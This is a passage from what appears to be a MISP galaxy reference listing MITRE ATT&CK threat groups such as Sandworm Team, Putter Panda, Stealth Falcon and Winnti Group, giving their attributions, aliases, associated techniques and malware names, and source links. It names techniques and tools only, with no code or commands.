- uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Gather Victim Org Information - T1591" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RATANKBA - S0241" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BADCALL - S0245" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Spearphishing - T1534" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cryptoistic - S0498" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Responder - S0174" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="KernelCallbackTable - T1574.013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HotCroissant - S0431" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Social Media - T1593.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HARDRAIN - S0246" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="route - S0103" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Identify Roles - T1591.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Server - T1584.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="AppleJeus - S0584" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1588.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ECCENTRICBANDWAGON - S0593" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Dtrack - S0567" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1584.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="FALLCHILL - S0181" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 5002. Table References

Links
https://adversary.crowdstrike.com/en-US/adversary/labyrinth-chollima/
https://attack.mitre.org/groups/G0032
https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/
https://home.treasury.gov/news/press-releases/sm774
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing
https://www.us-cert.gov/ncas/alerts/TA17-164A
https://www.us-cert.gov/ncas/analysis-reports/AR19-100A

Putter Panda - G0024

[Putter Panda](https://attack.mitre.org/groups/G0024) is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-intrusion-set="Putter Panda - G0024"*

Putter Panda - G0024 is also known as:

- Putter Panda
- APT2
- MSUpdater

View relationships graph

Putter Panda - G0024 has relationships with:

- similar: misp-galaxy:threat-actor="APT2" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="3PARA RAT - S0066" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-malware="pngdowner - S0067" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="4H RAT - S0065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="httpclient - S0068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5003. Table References

Links
http://blog.cylance.com/puttering-into-the-future
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://attack.mitre.org/groups/G0024

Scarlet Mimic - G0029

[Scarlet Mimic](https://attack.mitre.org/groups/G0029) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029) and [Putter Panda](https://attack.mitre.org/groups/G0024), it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="Scarlet Mimic - G0029"*

Scarlet Mimic - G0029 is also known as:

- Scarlet Mimic

View relationships graph

Scarlet Mimic - G0029 has relationships with:

- similar: misp-galaxy:threat-actor="Scarlet Mimic" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="MobileOrder - S0079" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="FakeM - S0076" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="CallMe - S0077" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Psylo - S0078" with estimative-language:likelihood-probability="almost-certain"

Table 5004. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/
https://attack.mitre.org/groups/G0029

Poseidon Group - G0033

[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)

The tag is: *misp-galaxy:mitre-intrusion-set="Poseidon Group - G0033"*

Poseidon Group - G0033 is also known as:

- Poseidon Group

View relationships graph

Poseidon Group - G0033 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

- similar: misp-galaxy:threat-actor="Poseidon Group" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 5005. Table References

Links
https://attack.mitre.org/groups/G0033
https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/

Sandworm Team - G0034

[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)

In October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Sandworm Team - G0034"*

Sandworm Team - G0034 is also known as:

- Sandworm Team
- ELECTRUM
- Telebots
- IRON VIKING
- BlackEnergy (Group)

- Quedagh
- VOODOO BEAR

View relationships graph

Sandworm Team - G0034 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Exaramel for Windows - S0343" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Defacement - T1491.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Exaramel for Linux - S0401" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Search Victim-Owned Websites - T1594" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Vulnerabilities - T1588.006" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Bad Rabbit - S0606" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="GreyEnergy - S0342" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Olympic Destroyer - S0365" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="P.A.S. Webshell - S0598" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BlackEnergy - S0089" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="NotPetya - S0368" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Server - T1583.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Business Relationships - T1591.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Employee Names - T1589.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Botnet - T1584.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="CHEMISTGAMES - S0555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Search Open Websites/Domains - T1593" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cyclops Blink - S0687" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Invoke-PSImage - S0231" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software - T1592.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="KillDisk - S0607" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Properties - T1590.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Industroyer - S0604" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="SQL Stored Procedures - T1505.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5006. Table References

Links
https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html
https://attack.mitre.org/groups/G0034
https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/
https://www.dragos.com/resource/electrum/
https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html
https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games
https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/
https://www.justice.gov/opa/page/file/1098481/download
https://www.justice.gov/opa/press-release/file/1328521/download
https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory

https://www.secureworks.com/research/threat-profiles/iron-viking

Stealth Falcon - G0038

[Stealth Falcon](https://attack.mitre.org/groups/G0038) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="Stealth Falcon - G0038"*

Stealth Falcon - G0038 is also known as:

- Stealth Falcon

View relationships graph

Stealth Falcon - G0038 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Stealth Falcon" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5007. Table References

Links
https://attack.mitre.org/groups/G0038
https://citizenlab.org/2016/05/stealth-falcon/

Winnti Group - G0044

[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: 401 TRG Winnti Umbrella May 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Winnti Group - G0044"*

Winnti Group - G0044 is also known as:

- Winnti Group
- Blackfly

View relationships graph

Winnti Group - G0044 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PipeMon - S0501" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
